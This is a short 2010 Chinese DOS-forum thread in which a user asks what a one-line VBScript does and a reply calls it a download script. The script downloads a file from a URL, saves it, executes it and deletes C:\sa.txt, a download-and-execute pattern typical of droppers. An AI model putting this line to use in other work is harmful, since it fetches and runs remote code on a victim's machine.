中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名：www.cn-dos.net　论坛域名：www.cn-dos.net/forum

中国DOS联盟论坛
现在时间是 2026-08-12 00:52

共 47,811 主题排行 / 349,897 发帖 / 今日 0 篇 / 48,256 会员排行

第1楼　ccyyxxx	发表于 2010-07-28 09:45
新手上路　发帖 15　积分 16
求这段代码的作用 fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.ResponseBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"

第2楼　WANKOILZ	发表于 2010-07-28 19:47
初级用户　发帖 89　积分 198　来自重庆
这是个下载脚本，用法是：(cmd下) 脚本名.vbs 下载地址保存路径